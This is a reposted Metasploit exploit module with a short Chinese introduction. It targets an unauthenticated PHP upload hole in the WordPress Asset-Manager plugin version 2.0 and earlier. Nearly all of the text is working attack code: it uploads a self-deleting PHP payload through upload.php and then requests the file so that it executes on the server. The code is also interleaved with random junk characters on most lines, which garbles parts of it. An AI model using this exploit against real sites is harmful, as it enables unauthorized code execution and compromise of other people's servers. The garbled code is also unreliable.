这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
5 _! I& o8 K( B$ p0 X. A$ T
" e+ o* i9 }5 T##
$ b% v0 w! D) _6 v# This file is part of the Metasploit Framework and may be subject to! h6 q+ g: I3 { ^
# redistribution and commercial restrictions. Please see the Metasploit
; ^8 z0 m2 p" w# Framework web site for more information on licensing and terms of use.: L6 f7 t l8 L) D
# http://metasploit.com/framework/
( f0 E0 T( _' H5 R### G( V; G$ V. w/ X$ ]) ?8 w
; l: Z6 q$ K1 C8 H8 h
require 'msf/core'
' ]3 B1 K( v/ Q/ [require 'msf/core/exploit/php_exe'
$ _5 S9 r9 i2 x" j3 @( d% w) N
! W8 E& E5 }2 d* Y0 S7 gclass Metasploit3 < Msf::Exploit::Remote% w+ z) V. X* |9 a
Rank = ExcellentRanking4 U# D( s4 W! i/ P. Z
# E! s0 M# R. m! N, u include Msf::Exploit::Remote::HttpClient
2 S. x' M) J4 M' T7 X% y include Msf::Exploit: hpEXE( S0 B) m9 ]* `" a- s; o) y
$ L- R# u2 a! D. B# o d
def initialize(info = {})8 h% e# g, L5 F% P& C+ g! v
super(update_info(info,
$ U9 v& x! `% y1 s% G$ T/ h& b 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
9 ^* a% f- g% ^5 a9 Z+ v. x( q 'Description' => %q{
! ?. B- q; M' q( F) z2 N+ f This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
' P Y6 B! ~0 X plugin. By abusing the upload.php file, a malicious user can upload a file to a
0 ~; T+ y" H* Q! T8 e temp directory without authentication, which results in arbitrary code execution.
- q) }/ m" S1 i1 ?8 ~2 H9 V },: I, ^0 K; H9 G1 l e. w6 ?& c
'Author' =>$ ?4 o, h5 y8 ]5 Z8 J
[
* ?$ L n# Q" V 'Sammy FORGIT', # initial discovery) w/ L- N1 @5 t) ? V. p! \' k; J1 O" D3 l
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
. O# U' V9 [) U9 N+ X* U& _$ E ],
- f/ Q4 \0 ~( V* Q 'License' => MSF_LICENSE,
" d# [7 k4 y6 i; W9 Y# o! I 'References' =>3 v9 x. A' `, I- Z# `& @* ]0 }; r$ @
[
7 \# K3 Y6 G9 D! A; X, g [ 'OSVDB', '82653' ],( z4 R4 }4 X& {# o) P1 `1 ~
[ 'BID', '53809' ],* F: j) T4 `% I9 y: `
[ 'EDB', '18993' ],9 g$ @9 O4 U$ p X8 i) j. ]$ e
[ 'URL', 'http:// www.myhack58.com /' ]
5 B' r( J! k& u: A$ O8 U ],
6 A/ M k; h4 g$ f 'Payload' =>
8 }, b4 V% S8 y+ l {
' i. r: L1 f. ~/ u( O 'BadChars' => "\x00",5 u2 Q& f U4 Y! f
},
# V- B G* I1 K1 m 'Platform' => 'php',' p6 \3 w* E+ L c
'Arch' => ARCH_PHP,- F b$ O" H" S! A$ O
'Targets' =>
, _( M6 ?1 r5 M. S- n [
! Z/ @( J: e" b; S" k$ x [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
0 D8 r/ U2 a! e& H5 N/ @ [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]( e, g* u& d- l
],2 G- u2 |8 p* D
'DefaultTarget' => 0,
' ~9 w7 K* T1 D2 B! @5 y% d B 'DisclosureDate' => 'May 26 2012'))6 E5 C2 ]% p" ?% W
8 q- k! z* K) \0 i register_options(" ]1 E: X0 m/ j; f
[ Q0 w, H+ r& b( {
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
3 G4 B2 T' Y7 A& e ], self.class)
8 H5 K# }0 L" o/ `( R2 Y$ r# h end) P; k, j3 T$ d; z
$ u% H! U* f' ~& t def exploit
. P' w5 T- [! d6 }: X) J uri = target_uri.path6 Z7 q. g" U" y y
uri << '/' if uri[-1,1] != '/'
8 e4 T: Y# t1 c- D6 s I peer = "#{rhost}:#{rport}"
; b0 q9 h. z y7 [# J payload_name = "#{rand_text_alpha(5)}.php": }; z, ?! u0 n
php_payload = get_write_exec_payload(:unlink_self=>true)
8 u7 o+ i0 k: e5 O4 b7 j - Q0 ~$ T8 ~5 Q2 {
data = Rex::MIME::Message.new6 Y3 h- {: f/ y0 K" \ g
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
) c- f1 y3 r( k! u2 S# n post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')* z1 K* B2 r% m" r |/ V9 r( _
& f" M5 W! P, o( T( ] print_status("#{peer} - Uploading payload #{payload_name}")! ]$ W9 B4 V; y3 E
res = send_request_cgi({9 v. u/ Z; i2 e. c1 U7 X$ G5 U' R' X9 k
'method' => 'POST',
' v5 `; q+ D7 B6 V 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",0 _1 p! g8 @9 J
'ctype' => "multipart/form-data; boundary=#{data.bound}",% h. q3 j8 T: m$ i2 h; g
'data' => post_data
2 S- n) K; l5 Y9 ?& B3 W; }- o6 E })
- e+ t7 p: P! k3 e & x A6 @5 `3 Q
if not res or res.code != 200 or res.body !~ /#{payload_name}/
$ S( F- ]2 i( x, G0 _, d fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")* ~! y+ p: V$ g' H
end
Q# J2 L3 w% L 2 c+ r- k; t9 L
print_status("#{peer} - Executing payload #{payload_name}")& X0 Z' z& ]2 _. [ F% z& U7 X
res = send_request_raw({
, r: `3 p" A; F0 B, A/ a 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",9 _; N8 P. g& p4 a3 }9 E& n- I
'method' => 'GET'
# B/ f% M. W8 L( u$ f9 a9 S/ S })
. s; Z$ ?: K/ x+ Q0 G0 _ , \# l G6 \+ u7 E4 [/ B- V/ q/ U
if res and res.code != 200+ Z- e( Q. X$ v
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")9 a# s1 k2 e+ Y+ X
end
; H$ T6 w5 D: n' p" X' ~/ r1 p end
& z5 [* w* z5 C. Y; _0 f! ~end( }1 M' O$ U D8 s: l6 a
|